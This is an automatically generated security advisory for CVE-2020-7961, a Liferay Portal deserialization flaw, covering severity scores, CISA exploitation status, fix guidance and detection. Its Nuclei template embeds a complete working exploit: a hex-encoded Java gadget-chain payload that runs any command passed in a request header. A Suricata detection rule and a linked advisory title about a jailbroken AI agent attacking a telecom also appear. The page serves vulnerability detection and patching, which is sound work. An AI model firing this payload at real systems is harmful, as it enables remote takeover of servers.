CVE-2020-7961: Liferay Liferay Portal exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).

Description quoted from the CVE record (assigned by mitre, published 2020-03-20).

Weakness: CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2021-11-03
US federal deadline: 2022-05-03
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Exploit-DB entry, 1 Nuclei template, 22 code repositories and 2 research write-ups naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 37 references on Exploit Observer

Live scores

EPSS: 0.999
very likely to be attacked soon
VEDAS: 0.990
strong exploit evidence
On CISA KEV: Yes, since 2021-11-03
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Not stated	versions not stated in the record	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply updates per vendor instructions.

Vendor guidance:

https://nvd.nist.gov/vuln/detail/CVE-2020-7961

How to detect it

Nuclei template (active check)

Liferay Portal - Insecure Deserialization
Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /api/jsonws/invoke, GET /api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-...); it decides using regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2020-7961.yaml

Show the template (54 lines)

yaml

id: CVE-2020-7961

info:
  name: "Liferay Portal - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute
    arbitrary code via JSON web services (JSONWS).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2020-7961&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=liferay&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7961
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve2020,cve,packetstorm,rce,liferay,kev,vkev,vuln
http:
  - raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        cmd2: {{command}}

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth={{to_lower(rand_text_alpha(5))}}&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D

    payloads:
      command:
        - "systeminfo" # Windows
        - "lsb_release -a" # Linux

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "OS Name:.*Microsoft Windows"
          - "Distributor ID:"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "Microsoft Windows (.*)"
          - "Distributor ID: (.*)"
        part: body

CVE-2020-7961.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2020-7961 Liferay Portal - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2020-7961 Liferay Portal - Insecure Deserialization"; flow:established,to_server; http.uri; content:"/api/jsonws/invoke"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2020-7961; reference:url,https://www.exploit.observer/?keyword=CVE-2020-7961&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=liferay&match=exact; sid:1011043; rev:1;)

CVE-2020-7961.rules on GitHub

Advisories on this CVE

Operation Snowball: Jailbroken AI agent hits European telecom (full advisory)

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-7961 (government-resource)

Other references

https://portal.liferay.dev/learn/security/known-vulnerabilities (x_refsource_MISC)
https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271 (x_refsource_CONFIRM)
http://packetstormsecurity.com/files/157254/Liferay-Portal-Java-Unmarshalling-Remote-Code-Execution.html (x_refsource_MISC)
http://packetstormsecurity.com/files/158392/Liferay-Portal-Remote-Code-Execution.html (x_refsource_MISC)
https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/ (x_refsource_MISC)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.